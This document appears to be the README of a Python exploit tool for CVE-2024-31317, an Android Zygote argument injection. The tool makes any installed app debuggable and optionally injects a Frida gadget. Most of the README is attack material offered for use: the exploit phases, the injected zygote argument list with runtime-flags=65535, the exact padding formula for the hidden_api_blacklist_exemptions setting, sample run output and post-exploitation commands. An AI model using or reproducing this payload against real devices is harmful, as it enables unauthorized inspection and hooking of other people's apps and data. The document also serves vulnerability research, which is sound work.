CVE-2024-31317 Debuggable App Exploit

A Python-based exploit for CVE-2024-31317 (Android Zygote Injection) that makes any installed Android app debuggable by injecting malicious zygote arguments through the hidden_api_blacklist_exemptions setting. Includes optional Frida gadget injection for runtime hooking.

Overview

This exploit leverages a command injection vulnerability in Android's Zygote process to start target applications with the debuggable flag enabled. This allows JDWP debugging and inspection of any app without needing root access or the app's debug version.

Based on the research from: Flanker's CVE-2024-31317 Analysis

Key insight: "the runtime-flags field in ZygoteArguments can actually be used to enable an application's debuggable attribute."

Features

• Auto-detection mode - Automatically detects target app's UID, instruction set, and data directory
• Debuggable flag injection - Sets runtime-flags=65535 to enable debugging
• JDWP forwarding - Automatically sets up JDWP port forwarding after exploit
• Frida gadget injection - Optionally inject Frida for runtime hooking via JDWP
• Smart breakpoints - Uses reliable breakpoints that trigger automatically without user interaction
• Auto-install debug app - Installs helper app if not present

Requirements

• Android device vulnerable to CVE-2024-31317 (pre-June 2024 security patch)
• ADB installed and USB debugging enabled
• Python 3.10+
• Required packages: ppadb, jdwplib

Installation

Place the following files in the same directory:

├── CVE-2024-31317-Debuggable.py    # Main exploit script
├── jdwplib.py                       # JDWP client library
├── app-debug.apk                    # Debuggable helper app
├── frida-gadget-android-*.so        # Frida gadget (optional)
├── frida-gadget.config.so           # Frida config (optional)
└── win32/adb.exe                    # Windows ADB binary

Usage

Basic Usage

python CVE-2024-31317-Debuggable.py

The script will prompt you to select a parameter detection mode:

==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]:

What It Does

1. Phase 1: Extract startSeq

   • Starts a debuggable helper app
   • Connects via JDWP and extracts the startSeq value from stack frames
   • Closes the helper app

2. Phase 2: Inject Zygote Arguments

   • Builds malicious zygote arguments with runtime-flags=65535 (debuggable)
   • Injects payload into hidden_api_blacklist_exemptions setting
   • Force-stops and restarts target app with injected arguments

3. Phase 3: Post-Exploitation

   • Sets up JDWP port forwarding
   • Optionally injects Frida gadget for runtime hooking

Example Output

==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]: 1

[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701

Inject Frida? (y/N):

Configuration

Target App

Edit the constants at the top of the script:

TARGET_APP = "com.debug.configurator"  # Change to your target package
DEBUG_APP = "com.debug.app"            # Helper debuggable app
DEBUG_APK = "app-debug.apk"            # APK file for helper app

Auto-detect vs Hardcoded

Auto-detect mode (recommended):

• Uses pm list packages -U to get UID
• Uses dumpsys package to get instruction set and data directory
• More reliable across different devices

Hardcoded mode:

• Uses default values (UID=10242, arm64, etc.)
• Faster but less reliable if device differs from defaults

Frida Gadget Injection

After the exploit succeeds, you can optionally inject Frida gadget:

Inject Frida? (y/N): y

The script will:

1. Push frida-gadget.so to /data/local/tmp/
2. Copy to app's data directory via run-as
3. Set a breakpoint and load the gadget via JDWP
4. Forward ports 27042 and 27043

Breakpoint Targets

The script tries these breakpoints in order of reliability:

The top breakpoints should trigger automatically. If they timeout, tap on the app to trigger the fallback breakpoints.

Connecting to Frida

After successful injection:

# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget

# List processes
frida-ps -H 127.0.0.1:27042

After Exploitation

Once the exploit succeeds, the target app is running with debugging enabled:

1. Connect with JDWP debugger:

   root@kitploit:~

   jdb -attach localhost:8701
   

2. Use Android Studio debugger - Attach to process on the forwarded port

3. Use Frida - If gadget was injected via the script

How It Works

Vulnerability Overview

CVE-2024-31317 is a command injection vulnerability in Android's Zygote process. By manipulating the hidden_api_blacklist_exemptions system setting with specially crafted input, we can inject arbitrary zygote arguments when an app starts.

Key Components

1. startSeq Extraction: Every app launch has a unique sequence number. We extract this from a debuggable app via JDWP by inspecting stack frame variables.

2. Payload Construction: We build zygote arguments including:

   root@kitploit:~

   --runtime-args
   --setuid=<target_uid>
   --setgid=<target_gid>
   --runtime-flags=65535      # Enables all debug flags
   --mount-external-default
   --target-sdk-version=35
   --setgroups=3003
   --nice-name=<package>
   --seinfo=default:targetSdkVersion=30:complete
   --instruction-set=<arch>
   --app-data-dir=<data_dir>
   --package-name=<package>
   --is-top-app
   --bind-mount-data-dirs
   android.app.ActivityThread
   seq=<startSeq+1>
   

3. Injection: Payload is injected into the system setting with specific padding for Android 12+:

   root@kitploit:~

   payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
   

4. Trigger: Force-stop and restart the target app, which launches with our injected arguments and the debuggable flag enabled.

Frida Injection via JDWP

The Frida injection works by:

1. Connecting to the debuggable app via JDWP
2. Setting a breakpoint on a commonly-called method
3. When the breakpoint hits, using Runtime.load() to load the Frida gadget shared library
4. The gadget initializes and starts listening on port 27042

Limitations

• Only works on devices vulnerable to CVE-2024-31317 (pre-June 2024 security patch)
• Not a root exploit - only provides debuggable access to the target app
• Frida injection requires the app to be running and hitting breakpoints
• Some heavily obfuscated apps may resist Frida hooking

Troubleshooting

"Failed to get startSeq"

• Ensure the debug app is properly signed and installable
• Try running the exploit again

"No breakpoint hit" during Frida injection

• Tap on the app to trigger touch/draw breakpoints
• Ensure the app is in the foreground

Frida connection refused

• Verify port forwarding: adb forward --list
• Re-run port forwarding: adb forward tcp:27042 tcp:27042

Credits

• Flanker (flanker017) - Original research and detailed writeup on CVE-2024-31317
• typlo - Code snippets for finding startSeq via JDWP inspection
• Anonymous941 - Zygote injection toolkit reference implementation
• Meta X Red Team - Original vulnerability discovery and disclosure

References

• CVE-2024-31317 Detailed Analysis - Flanker
• Meta Security Advisory
• InfoSec Writeup
• Anonymous941's Zygote Injection Toolkit
• Frida Documentation

Disclaimer

This tool is for educational and authorized security research purposes only. Only use this on devices you own or have explicit written permission to test. Unauthorized access to computer systems is illegal and unethical. The authors are not responsible for any misuse of this tool.

License

MIT License - See LICENSE file for details.